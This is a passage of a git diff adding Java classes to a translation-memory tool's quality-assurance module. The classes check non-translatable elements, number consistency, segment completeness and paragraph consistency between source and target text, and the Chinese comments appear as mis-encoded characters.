LoggerFactory.getLogger(NonTranslationQA.class.getName()); + + public NonTranslationQA(){ + preferenceStore = Activator.getDefault().getPreferenceStore(); + tipLevel = preferenceStore.getInt(QAConstant.QA_PREF_nonTrans_TIPLEVEL); + } + + @Override + void setParentQaResult(QAResult qaResult) { + super.setQaResult(qaResult); + } + + @Override + public String startQA(QAModel model, IProgressMonitor monitor, IFile iFile, QAXmlHandler xmlHandler, + Map tuTextMap) { + hasError = false; + + if (nonTransElementsMap == null) { + //éžè¯‘元素库的æ“作类 + NonTransElementOperate operater = new NonTransElementOperate(); + //先打开库 + operater.openNonTransDB(); + //开始从éžè¯‘元素库中获å–ç›¸å…³ä¿¡æ¯ + nonTransElementsMap = operater.getNonTransElements(); + } + + srcNonTransData = new LinkedList(); + tgtNonTransData = new LinkedList(); + //获å–纯文本 + String sourceText = tuTextMap.get("srcPureText"); + String targetText = tuTextMap.get("tarPureText"); + String rowId = tuTextMap.get("rowId"); + srcLang = tuTextMap.get("source_lan"); + tgtLang = tuTextMap.get("target_lan"); + + // UNDO 这里存在一个问题,就是web地å€æ£€æŸ¥ä¸Žip地å€æ£€æŸ¥çš„语å¥å·®ä¸å¤šï¼Œæ•…存在会引起一个éžè¯‘元素会åŒæ—¶è¢«æ£€æŸ¥å¹¶å¤šæ¬¡æ示。 + for (int index = 0; index < nonTransElementsMap.size(); index++) { + NontransElementBean elementBean = nonTransElementsMap.get(index); +// String elementId = elementBean.getId(); +// String elementName = elementBean.getName(); + String elementContent = elementBean.getContent(); + String elementRegular = elementBean.getRegular(); + + matchNontrans(sourceText, targetText, elementContent, elementRegular); +// //检查ip地å€ï¼Œè¿™æ˜¯å†…ç½®éžè¯‘元素 +// if ("qaInternalNonTrans_ip".equals(elementId)) { +// matchIP(sourceText, targetText, elementContent, elementRegular); +// }else if ("qaInternalNonTrans_email".equals(elementId)) { +// //检查邮箱å,内置éžè¯‘元素 +// matchNontrans(sourceText, targetText, elementContent, elementRegular); +// }else if ("qaInternalNonTrans_web".equals(elementId)) { +// //检查web网å€ï¼Œå†…置元素 +// matchWebAddress(sourceText, targetText, elementContent, elementRegular); +// }else { +// matchOthers(sourceText, targetText, elementName, elementContent, elementRegular); +// } + } + // UNDO éžè¯‘元素检查时,把数字也检查出æ¥äº† + String lineNumber = tuTextMap.get("lineNumber"); + String iFileFullPath = tuTextMap.get("iFileFullPath"); + String langPair = tuTextMap.get("langPair"); + String qaType = Messages.getString("qa.all.qaItem.NonTranslationQA"); + + //处ç†æºæ–‡ä¸­çš„éžè¯‘元素在译文中丢失的情况 + if (srcNonTransData.size() > 0) { + String nonTransStr = ""; + for (int index = 0; index < srcNonTransData.size(); index++) { + nonTransStr += "'" + srcNonTransData.get(index) + "', "; + } + nonTransStr = nonTransStr.substring(0, nonTransStr.length() - 2); + + String errorTip = MessageFormat.format(Messages.getString("qa.NonTranslationQA.tip1"), nonTransStr); + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_NONTRANSLATION)); + } + + //处ç†è¯‘文中的éžè¯‘元素在æºæ–‡ä¸­ä¸¢å¤±çš„情况 + if (tgtNonTransData.size() > 0) { + String nonTransStr = ""; + for (int index = 0; index < tgtNonTransData.size(); index++) { + nonTransStr += "'" + tgtNonTransData.get(index) + "', "; + } + nonTransStr = nonTransStr.substring(0, nonTransStr.length() - 2); + + String errorTip = MessageFormat.format(Messages.getString("qa.NonTranslationQA.tip2"), nonTransStr); + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_NONTRANSLATION)); + } + + String result = ""; + if (hasError && tipLevel == 0) { + result = QAConstant.QA_NONTRANSLATION; + } + return result; + } + + /** + * 检查邮件å + * @param sourceText + * @param targetText + */ + public void matchNontrans(String sourceText, String targetText, String elementContent, String elementRegular){ + if (elementRegular == null || "".equals(elementRegular)) { + elementRegular = elementContent; + } + if (elementRegular == null || "".equals(elementRegular)) { + return; + } + Pattern patt = Pattern.compile(CommonFunction.isAsiaLang(srcLang) ? elementRegular.replace("\\b", "") : elementRegular); + + //先匹é…æºæ–‡æœ¬é‡Œé¢æ˜¯å¦æœ‰é‚®ç®±å + List sourceEmailList = new LinkedList(); + Matcher matcher = patt.matcher(sourceText); + while (matcher.find()) { + sourceEmailList.add(matcher.group()); + } + + //现在检查目标文本中是å¦æœ‰ç›¸å…³åŒ¹é… + List targetEmailList = new LinkedList(); + patt = Pattern.compile(CommonFunction.isAsiaLang(tgtLang) ? elementRegular.replace("\\b", "") : elementRegular); + Matcher tarMatcher = patt.matcher(targetText); + while (tarMatcher.find()) { + targetEmailList.add(tarMatcher.group()); + } + + //下é¢æ¯”较两个list所包å«çš„emailçš„ä¸åŒ + if (sourceEmailList.size() > 0 ) { + for (int sourIndex = 0; sourIndex < sourceEmailList.size(); sourIndex++) { + String nonTransStr = sourceEmailList.get(sourIndex); + boolean equals = false; + for (int tarIndex = 0; tarIndex < targetEmailList.size(); tarIndex++) { + if (nonTransStr.equals(targetEmailList.get(tarIndex))) { + equals = true; + targetEmailList.remove(tarIndex); + break; + } + } + + if (!equals && srcNonTransData.indexOf(nonTransStr) < 0) { + srcNonTransData.add(nonTransStr); + } + } + } + + // 下é¢æ¯”译文中有的éžè¯‘元素,但是æºæ–‡ä¸­æ²¡å¾—的情况 + for (String nonTransStr : targetEmailList) { + if (tgtNonTransData.indexOf(nonTransStr) < 0) { + tgtNonTransData.add(nonTransStr); + } + } + return; + } + + /** + * 匹é…IP,备注,这个方法改动比较大,之å‰çš„版本有备份,详è§ä»£ç å¤‡ä»½ ,task33 + * @param sourceText + * @param targetText + */ + public void matchIP(String sourceText, String targetText, String elementContent, String elementRegular){ + if (elementRegular == null || "".equals(elementRegular)) { + elementRegular = elementContent; + } + if (elementRegular == null || "".equals(elementRegular)) { + return; + } + elementRegular = TextUtil.resetSpecialString(elementRegular); + Pattern patt = Pattern.compile(elementRegular); + + //先匹é…æºæ–‡æœ¬é‡Œé¢æ˜¯å¦æœ‰é‚®ç®±å + List sourceIpList = new LinkedList(); + Matcher matcher = patt.matcher(sourceText); + while (matcher.find()) { + sourceIpList.add(matcher.group()); + } + + //现在检查目标文本中是å¦æœ‰ç›¸å…³åŒ¹é… + List targetIpList = new LinkedList(); + Matcher tarMatcher = patt.matcher(targetText); + while (tarMatcher.find()) { + targetIpList.add(tarMatcher.group()); + } + + //下é¢æ¯”较两个list所包å«çš„emailçš„ä¸åŒ + if (sourceIpList.size() > 0 ) { + for (int sourIndex = 0; sourIndex < sourceIpList.size(); sourIndex++) { + String nonTransStr = sourceIpList.get(sourIndex); + boolean equals = false; + for (int tarIndex = 0; tarIndex < targetIpList.size(); tarIndex++) { + if (nonTransStr.equals(targetIpList.get(tarIndex))) { + equals = true; + targetIpList.remove(tarIndex); + break; + } + } + + if (!equals && srcNonTransData.indexOf(nonTransStr) < 0) { + srcNonTransData.add(nonTransStr); + } + } + } + + // 下é¢æ¯”译文中有的éžè¯‘元素,但是æºæ–‡ä¸­æ²¡å¾—的情况 + for (String nonTransStr : targetIpList) { + if (tgtNonTransData.indexOf(nonTransStr) < 0) { + tgtNonTransData.add(nonTransStr); + } + } + return; + } + + /** + * 匹é…ç½‘å€ + * @param sourceText + * @param targetText + */ + public void matchWebAddress(String sourceText, String targetText, String elementContent, String elementRegular){ + if (elementRegular == null || "".equals(elementRegular)) { + elementRegular = elementContent; + } + if (elementRegular == null || "".equals(elementRegular)) { + return; + } + //这能匹é…有IP的情况,但是无法ä¿è¯IP是å¦æ˜¯åˆæ³• + //String pattern = "((http|https|ftp)://(www.)?((((\\w+)+[.])*(net|com|cn|org|cc|tv|[0-9]{1,3}(:\\d{1,})?)))(/([+-_.=%&?#|]?(\\w+)[+-_.=%&?#|]?)*)*)"; + //String pattern = "(((http|https|ftp|gopher|wais)://)?((((\\w+|[-]*)+))+:(((\\w+|[-]*)+))+@)?((www[.])?((\\w+[.])+|((\\w+|[-]*)+[.]))+(net|com|org|mil|gov|edu|int)(.(cn|hk|uk|sg|us|jp|cc|tv))?|(\\d{1,3}.\\d{1,3}.\\d{1,3}.\\d{1,3}))(:\\d{1,})?(/?)([+-_.=%&?#|/]*([\\w\\S]+)[+-_.=%&?#|/]*)*(/?))"; +// String pattern = "(((http|https|ftp|gopher|wais)://)?(www\\.)?(([^,,\\s])*(\\.(net|com|cn|org|cc|tv|hk|uk|sg|us|jp|mil|gov|edu|int)))(((:port)|[0-9]{1,3}(:\\d{1,})?)?)([^,,\\s])*)"; + Pattern patt = Pattern.compile(elementRegular); + // 先匹é…æºæ–‡æœ¬é‡Œé¢æ˜¯å¦æœ‰é‚®ç®±å + Matcher matcher = patt.matcher(sourceText); + List sourceURLList = new LinkedList(); + while (matcher.find()) { + sourceURLList.add(matcher.group()); + } + + //å†åŒ¹é…目标文本中是å¦æœ‰ç½‘å€ + Matcher tarMatcher = patt.matcher(targetText); + List targetURLList = new LinkedList(); + while (tarMatcher.find()) { + targetURLList.add(tarMatcher.group()); + } + + //比较网å€æ˜¯å¦è¢«ç¿»è¯‘或缺失 + if (sourceURLList.size() > 0 ) { + for (int sourIndex = 0; sourIndex < sourceURLList.size(); sourIndex++) { + String nonTransStr = sourceURLList.get(sourIndex); + boolean equals = false; + for (int tarIndex = 0; tarIndex < targetURLList.size(); tarIndex++) { + if (nonTransStr.equals(targetURLList.get(tarIndex))) { + equals = true; + targetURLList.remove(tarIndex); + break; + } + } + + if (!equals && srcNonTransData.indexOf(nonTransStr) < 0) { + srcNonTransData.add(nonTransStr); + } + } + } + + // 下é¢æ¯”译文中有的éžè¯‘元素,但是æºæ–‡ä¸­æ²¡å¾—的情况 + for (String nonTransStr : targetURLList) { + if (tgtNonTransData.indexOf(nonTransStr) < 0) { + tgtNonTransData.add(nonTransStr); + } + } + return; + } + + /** + * 匹é…除内置éžè¯‘元素除 + * @param sourceText + * @param targetText + * @param elementContent + * @param elementRegular + */ + public void matchOthers(String sourceText, String targetText, String elementName, String elementContent, String elementRegular){ + if (elementRegular == null || "".equals(elementRegular)) { + elementRegular = elementContent; + } + if (elementRegular == null || "".equals(elementRegular)) { + return; + } + Pattern patt = Pattern.compile(elementRegular); + // 先匹é…æºæ–‡æœ¬é‡Œé¢æ˜¯å¦æœ‰åˆé€‚çš„åŒ¹é… + Matcher matcher = patt.matcher(sourceText); + List sourceMatchList = new LinkedList(); + while (matcher.find()) { + sourceMatchList.add(matcher.group()); + } + + //å†åŒ¹é…目标文本中是å¦æœ‰åˆé€‚çš„åŒ¹é… + Matcher tarMatcher = patt.matcher(targetText); + List targetMatchList = new LinkedList(); + while (tarMatcher.find()) { + targetMatchList.add(tarMatcher.group()); + } + + + //比较匹é…结果是å¦è¢«ç¿»è¯‘或缺失 + if (sourceMatchList.size() > 0 ) { + for (int sourIndex = 0; sourIndex < sourceMatchList.size(); sourIndex++) { + String nonTransStr = sourceMatchList.get(sourIndex); + boolean equals = false; + for (int tarIndex = 0; tarIndex < targetMatchList.size(); tarIndex++) { + if (nonTransStr.equals(targetMatchList.get(tarIndex))) { + equals = true; + targetMatchList.remove(tarIndex); + break; + } + } + + if (!equals) { + srcNonTransData.add(nonTransStr); + } + } + } + + // 下é¢æ¯”译文中有的éžè¯‘元素,但是æºæ–‡ä¸­æ²¡å¾—的情况 + for (String nonTransStr : targetMatchList) { + if (tgtNonTransData.indexOf(nonTransStr) < 0) { + tgtNonTransData.add(nonTransStr); + } + } + return; + } + + public static void main(String[] args) { +// String regular = "(?<=\\s+|^)[A-Z]+(?=\\s+|$)"; +// String regular = "\\b(25[0-5]|2[0-4]\\d|1\\d{2}|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d{2}|[1-9]?\\d)){3}(:\\d{1,})?\\b"; +// String regular = "\\b(abc){1}(?=\\s|$|\\b)"; + String regular = "(((http|https|ftp|gopher|wais)://)?(www\\.)?(([^,,\\s@])*(\\.(net|com|cn|org|cc|tv|hk|uk|sg|us|jp|mil|gov|edu|int)))(((:port)|[0-9]{1,3}(:\\d{1,})?)?)([^,,\\s])*)"; +// String text = "中国人的什么è一 THEST 木"; +// String text = "an open source community and an ecosystem of complementary products and services.192.168.0.1.2"; +// String text = "aiabc"; + String text = "2ã€æµ‹è¯•éžè¯‘元素 398752906@qq.com398752906@qq.com398752906@qq.com398752906@qq.com"; + + + Pattern patt = Pattern.compile(regular); + // 先匹é…æºæ–‡æœ¬é‡Œé¢æ˜¯å¦æœ‰åˆé€‚çš„åŒ¹é… + Matcher matcher = patt.matcher(text); + while(matcher.find()){ + System.out.println(matcher.group()); + } + + + + + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/NumberConsistenceQA.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/NumberConsistenceQA.java new file mode 100644 index 0000000..070febc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/NumberConsistenceQA.java @@ -0,0 +1,147 @@ +package net.heartsome.cat.ts.ui.qa; + +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.model.QAResultBean; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * å“质检查ï¼ï¼æœ¯è¯­ä¸€è‡´æ€§æ£€æŸ¥ + * 进度æ¡æ示格å¼ä¸º MessageFormat.format("检查{0}文件,术语一致性检查:术语比较...) + * 进度æ¡æŽ¨è¿›æ–¹æ³•ï¼šè®¾ä¸€ä¸ªé—´éš”值workInterval,先计算出è¦å¾ªçŽ¯çš„所有的tu节点的数é‡ï¼Œæ¯workInterval个tu节点,推进一格 + * @author robert + * + */ +public class NumberConsistenceQA extends QARealization { + private int tipLevel; + private IPreferenceStore preferenceStore; + private boolean hasError; + + public NumberConsistenceQA(){ + preferenceStore = Activator.getDefault().getPreferenceStore(); + tipLevel = preferenceStore.getInt(QAConstant.QA_PREF_number_TIPLEVEL); + } + + @Override + void setParentQaResult(QAResult qaResult) { + super.setQaResult(qaResult); + } + + @Override + public String startQA(QAModel model, IProgressMonitor monitor, IFile iFile, QAXmlHandler xmlHandler, + Map tuMap) { + hasError = false; + + //获å–纯文本 + String sourceText = tuMap.get("srcPureText"); + String targetText = tuMap.get("tarPureText"); + + String pattern = "-?\\d{1,}(\\.?\\d{1,})?"; + Pattern patt = Pattern.compile(pattern); + //获å–æºæ–‡æœ¬ä¸­çš„所有数字 + Matcher matcher = patt.matcher(sourceText); + List sourceNumbers = new LinkedList(); + while (matcher.find()) { + sourceNumbers.add(matcher.group()) ; + } + + //获å–目标文本中的数字 + matcher = patt.matcher(targetText); + List targetNumbers = new LinkedList(); + while (matcher.find()) { + targetNumbers.add(matcher.group()) ; + } + + String lineNumber = tuMap.get("lineNumber"); + String iFileFullPath = tuMap.get("iFileFullPath"); + String langPair = tuMap.get("langPair"); + String rowId = tuMap.get("rowId"); + + Map> resultMap = compareNumber(sourceNumbers, targetNumbers); + if (resultMap.get("source") != null && resultMap.get("source").size() > 0) { + //输出数字一致性中目标文件所é—失的数字 + List resultList = resultMap.get("source"); + String resultStr = ""; + for (int index = 0; index < resultList.size(); index++) { + resultStr += "'" + resultList.get(index) + "', "; + } + + if (resultStr.length() > 0) { + String qaType = Messages.getString("qa.all.qaItem.NumberConsistenceQA"); + resultStr = resultStr.substring(QAConstant.QA_ZERO, resultStr.length() - QAConstant.QA_TWO); + String errorTip = MessageFormat.format(Messages.getString("qa.NumberConsistenceQA.tip1"), resultStr); + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_NUMBER)); + } + } + //输出数字一致性检查中目标文件中多出的数字 + if (resultMap.get("target") != null && resultMap.get("target").size() > 0) { + //输出数字一致性中目标文件所é—失的数字 + List resultList = resultMap.get("target"); + String resultStr = ""; + for (int index = 0; index < resultList.size(); index++) { + resultStr += "'" + resultList.get(index) + "', "; + } + + if (resultStr.length() > 0) { + String qaType = Messages.getString("qa.all.qaItem.NumberConsistenceQA"); + resultStr = resultStr.substring(QAConstant.QA_ZERO, resultStr.length() - QAConstant.QA_TWO); + String errorTip = MessageFormat.format(Messages.getString("qa.NumberConsistenceQA.tip2"), resultStr); + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_NUMBER)); + } + } + + String result = ""; + if (hasError && tipLevel == 0) { + result = QAConstant.QA_NUMBER; + } + return result; + } + + /** + * 将查出的数字与目标文本进行相关的比较 + * @param findNumber + * @param targetText + * @return + */ + public Map> compareNumber(List sourceNumbers, List targetNumbers){ + Map> resultMap = new HashMap>(); + List resultList = new LinkedList(); + //下é¢æŸ¥çœ‹å…¶ç›®æ ‡æ•°å­—集åˆä¸­æ˜¯å¦æœ‰æºæ–‡æœ¬ä¸­çš„数字,如果有,则将这个数字从目标数字集åˆä¸­åˆ é™¤ + int tarIndex; + if (targetNumbers.size() == 0) { + resultMap.put("source", sourceNumbers); + return resultMap; + } + for (int index = 0; index < sourceNumbers.size(); index++) { + String sourceNumber = sourceNumbers.get(index); + + if ((tarIndex = targetNumbers.indexOf(sourceNumber)) >= 0) { + targetNumbers.remove(tarIndex); + }else { + resultList.add(sourceNumber); + } + } + resultMap.put("source", resultList); + if (targetNumbers.size() > 0) { + resultMap.put("target", targetNumbers); + } + return resultMap; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/ParaCompletenessQA.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/ParaCompletenessQA.java new file mode 100644 index 0000000..3f779b9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/ParaCompletenessQA.java @@ -0,0 +1,81 @@ +package net.heartsome.cat.ts.ui.qa; + +import java.util.Map; + +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.model.QAResultBean; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * 文本段完整性检查 + * 分三ç§æƒ…况: + * aã€ç›®æ ‡æ–‡æœ¬ä¸èƒ½ä¸ºç©ºã€‚ + * bã€è‹¥ç›®æ ‡æ–‡æœ¬æœ‰ä¸€ä¸ªç©ºæ ¼ï¼Œé‚£ä¹ˆå°±æ£€æŸ¥æºæ–‡æœ¬æ˜¯å¦æ˜¯ä¸€ä¸ªç©ºæ ¼ï¼Œè‹¥æºæ–‡æœ¬ä¸­å¹¶ä¸æ˜¯ç©ºæ ¼ï¼Œé‚£ä¹ˆä¹Ÿä¸å¾—行。 + * cã€æ£€æŸ¥æºæ–‡æœ¬ä¸Žç›®æ ‡æ–‡æœ¬æ˜¯å¦ä¸€è‡´ã€‚ + * @author robert + * @version + * @since JDK1.6 + */ +public class ParaCompletenessQA extends QARealization{ + private int tipLevel; + private IPreferenceStore preferenceStore; + private boolean hasError; + + public ParaCompletenessQA(){ + preferenceStore = Activator.getDefault().getPreferenceStore(); + tipLevel = preferenceStore.getInt(QAConstant.QA_PREF_paraComplete_TIPLEVEL); + } + + @Override + void setParentQaResult(QAResult qaResult) { + super.setQaResult(qaResult); + } + + @Override + public String startQA(QAModel model, IProgressMonitor monitor, IFile iFile, QAXmlHandler xmlHandler, + Map tuMap) { + hasError = false; + + String langPair = tuMap.get("langPair"); + String lineNumber = tuMap.get("lineNumber"); + String iFileFullPath = tuMap.get("iFileFullPath"); + String qaType = Messages.getString("qa.all.qaItem.ParaCompletenessQA"); + + String srcContent = tuMap.get("srcContent"); + String tarContent = tuMap.get("tarContent"); + String rowId = tuMap.get("rowId"); + + String errorTip = ""; + //检查未翻译的情况 + if (tarContent == null || "".equals(tarContent)) { + errorTip = Messages.getString("qa.ParaCompletenessQA.tip1"); + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_PARACOMPLETENESS)); + }else if (tarContent.length() > 0 && "".equals(tarContent.trim())) { //检查目标文本中有一空格的情况 + //如果æºæ–‡ä¹Ÿæ˜¯ä¸€ä¸ªç©ºæ ¼ï¼Œé‚£ä¹ˆé€šè¿‡æ£€æŸ¥ï¼Œå¦‚æžœæºæ–‡ä¸æ˜¯ç©ºæ ¼ï¼Œåˆ™æ示未翻译 + if (!(srcContent.length() > 0 && "".equals(srcContent.trim()))) { + errorTip = Messages.getString("qa.ParaCompletenessQA.tip2"); + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_PARACOMPLETENESS)); + } + + }else if ( tarContent.trim().equals(srcContent.trim())) {//检查æºæ–‡ä¸Žè¯‘文一致的情况 + errorTip = Messages.getString("qa.ParaCompletenessQA.tip3"); + hasError = true; + super.printQAResult(new QAResultBean(lineNumber, qaType, errorTip, iFileFullPath, langPair, rowId, tipLevel, QAConstant.QA_PARACOMPLETENESS)); + } + + String result = ""; + if (hasError && tipLevel == 0) { + result = QAConstant.QA_PARACOMPLETENESS; + } + return result; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/ParagraphConsistenceQA.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/ParagraphConsistenceQA.java new file mode 100644 index 0000000..44a4a41 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/ParagraphConsistenceQA.java @@ -0,0 +1,370 @@ +package net.heartsome.cat.ts.ui.qa; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.ts.core.qa.ParaConsisDataBean; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.model.QAResult; +import net.heartsome.cat.ts.ui.qa.model.QAResultBean; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * 文本段一致性检查,包括: + * 相åŒæºæ–‡ï¼Œä¸åŒè¯‘文;相åŒè¯‘文,ä¸åŒæºæ–‡ï¼Œ + * 检查时,è¦ä»Žé¦–选项中获å–çš„å‚数项是:忽略标记,忽略大å°å†™ + * 进度æ¡æ示格å¼ä¸º MessageFormat.format("检查{0}文件,术语一致性检查:术语比较...) + * 进度æ¡æŽ¨è¿›æ–¹æ³•ï¼šè®¾ä¸€ä¸ªé—´éš”值workInterval,先计算出è¦å¾ªçŽ¯çš„所有的tu节点的数é‡ï¼Œæ¯workInterval个tu节点,推进一格 + * @author robert 2011-11-16 + */ +public class ParagraphConsistenceQA extends QARealization { + /** 相åŒæºæ–‡ä¸åŒè¯‘文比较时是å¦å¿½ç•¥å¤§å°å†™ï¼Œä»Žé¦–é€‰é¡¹ä¸­èŽ·å– */ + private boolean srcIgnoreCase ; + /** 相åŒæºæ–‡ä¸åŒè¯‘文比较时是å¦å¿½ç•¥æ ‡è®°ï¼Œä»Žé¦–é€‰é¡¹ä¸­èŽ·å– */ + private boolean srcIgnoreTag ; + /** 相åŒè¯‘æ–‡ä¸åŒæºæ–‡æ¯”较时是å¦å¿½ç•¥å¤§å°å†™ï¼Œä»Žé¦–é€‰é¡¹ä¸­èŽ·å– */ + private boolean tgtIgnoreCase ; + /** 相åŒè¯‘æ–‡ä¸åŒæºæ–‡æ¯”较时是å¦å¿½ç•¥å¤§å°å†™ï¼Œä»Žé¦–é€‰é¡¹ä¸­èŽ·å– */ + private boolean tgtIgnoreTag; + /** 是å¦æ£€æŸ¥ç›¸åŒæºæ–‡ï¼Œä¸åŒè¯‘æ–‡çš„æƒ…å†µï¼Œä»Žé¦–é€‰é¡¹ä¸­èŽ·å– */ + private boolean checkSameSource; + /** 是å¦æ£€æŸ¥ç›¸åŒè¯‘文,ä¸åŒæºæ–‡çš„æƒ…å†µï¼Œä»Žé¦–é€‰é¡¹ä¸­èŽ·å– */ + private boolean checkSameTarget; + /** å“质检查的过滤æ¡ä»¶ï¼Œå¦‚ä¸åŒ…括上下文匹é…文本段,完全匹é…文本段,已é”定文本段 */ + private Map filterMap; + /** ä¿å­˜å½“å‰æ­£åœ¨å¤„ç†çš„文件路径 */ + private String curXlfPath = ""; + /** 针对æ¯ä¸€ä¸ªæ–‡ä»¶ï¼ˆæˆ–者åˆå¹¶æ‰“开时的一个语言对)获å–整个è¦è¿›è¡Œæ¯”较的数æ®ï¼Œä»¥ä¾¿è¿›è¡Œå¤„ç† */ + private Map dataMap = new HashMap(); + /** æ•°æ®ç»è¿‡å¤„ç†åŽï¼Œä¼šæŠŠæºæ–‡ç›¸åŒçš„文本段的rowIdæ”¾åˆ°ä¸€èµ·ï¼Œä»¥ä¾¿äºŽé›†ä¸­å¤„ç† */ + private List> srcRowIdList = new ArrayList>(); + /** æ•°æ®ç»è¿‡å¤„ç†åŽï¼Œä¼šæŠŠæºæ–‡ç›¸åŒçš„文本段的rowIdæ”¾åˆ°ä¸€èµ·ï¼Œä»¥ä¾¿äºŽé›†ä¸­å¤„ç† */ + private List> tgtRowIdList = new ArrayList>(); + /** åˆå¹¶æ‰“开的文本段一致性查,是å¦åˆå§‹åŒ–æ•°æ® */ + private boolean isMultiInit = false; + + private int tipLevel; + + public ParagraphConsistenceQA(){ + //filterMap = model.getNotInclude(); + IPreferenceStore preferenceStore = Activator.getDefault().getPreferenceStore(); + + checkSameSource = preferenceStore.getBoolean(QAConstant.QA_PREF_PARA_SAMESOURCE); + checkSameTarget = preferenceStore.getBoolean(QAConstant.QA_PREF_PARA_SAMETARGET); + + srcIgnoreTag = preferenceStore.getBoolean(QAConstant.QA_PREF_PARA_SRC_IGNORCETAG); + srcIgnoreCase = preferenceStore.getBoolean(QAConstant.QA_PREF_PARA_SRC_IGNORCECASE); + + tgtIgnoreTag = preferenceStore.getBoolean(QAConstant.QA_PREF_PARA_TAR_IGNORCETAG); + tgtIgnoreCase = preferenceStore.getBoolean(QAConstant.QA_PREF_PARA_TAR_IGNORCECASE); + + tipLevel = preferenceStore.getInt(QAConstant.QA_PREF_para_TIPLEVEL); + } + + public void setParentQaResult(QAResult qaResult){ + super.setQaResult(qaResult); + } + + @Override + public String startQA(QAModel model, IProgressMonitor monitor, IFile iFile, QAXmlHandler xmlHandler, + Map tuMap) { + + String xlfPath = tuMap.get("xlfPath"); + String langPair = tuMap.get("langPair"); + String iFileFullPath = tuMap.get("iFileFullPath"); + String rowId = tuMap.get("rowId"); + filterMap = (filterMap == null ? model.getNotInclude() : filterMap); + + init(model, xlfPath, xmlHandler); + + //如果是针对åˆå¹¶æ‰“开的å“质检查,使用以下方法 + if (model.isMuliFiles()) { + compareNext(rowId, iFileFullPath, langPair); + }else { + compareNext(rowId, iFileFullPath, langPair); + } + + return ""; + } + + /** + * åˆå§‹åŒ–ç›¸å…³æ•°æ® + */ + public void init(QAModel model, String xlfPath, QAXmlHandler xmlHandler){ + if (!model.isMuliFiles()) { + if ("".equals(curXlfPath) || !curXlfPath.equals(xlfPath)) { + curXlfPath = xlfPath; + dataMap.clear(); + dataMap = xmlHandler.getFilteredTUPureTextOrContent(xlfPath, filterMap, checkSameSource, checkSameTarget, srcIgnoreTag, tgtIgnoreTag); + + try { + analysisSameSrc(); + analysisSameTgt(); + } catch (Exception e) { + e.printStackTrace(); + logger.error("", e); + } + } + }else { + if (!isMultiInit) { + dataMap = xmlHandler.getFilteredTUTextForMultiParaConsis(model.getRowIdsList(), filterMap, checkSameSource, checkSameTarget, srcIgnoreTag, tgtIgnoreTag); + try { + analysisSameSrc(); + analysisSameTgt(); + } catch (Exception e) { + e.printStackTrace(); + logger.error("", e); + } + isMultiInit = true; + } + } + } + + /** + * 将相åŒæºæ–‡çš„所有文本段进行整åˆï¼Œæ”¾åˆ°ä¸€å—去方便进行处ç†ã€‚ + */ + private void analysisSameSrc() throws Exception{ + if (!checkSameSource) { + return; + } + + List> mapList = new ArrayList>(dataMap.entrySet()); + + //æŽ’åº + Collections.sort(mapList, new Comparator>() { + public int compare(Entry o1, Entry o2) { + String str1 = srcIgnoreTag ? o1.getValue().getSrcPureText() : o1.getValue().getSrcContent(); + String str2 = srcIgnoreTag ? o2.getValue().getSrcPureText() : o2.getValue().getSrcContent(); + return srcIgnoreCase ? str1.compareToIgnoreCase(str2) : str1.compareTo(str2); + } + }); + + for (int i = 0; i < mapList.size(); i++) { + Entry entry = mapList.get(i); + String srcText = 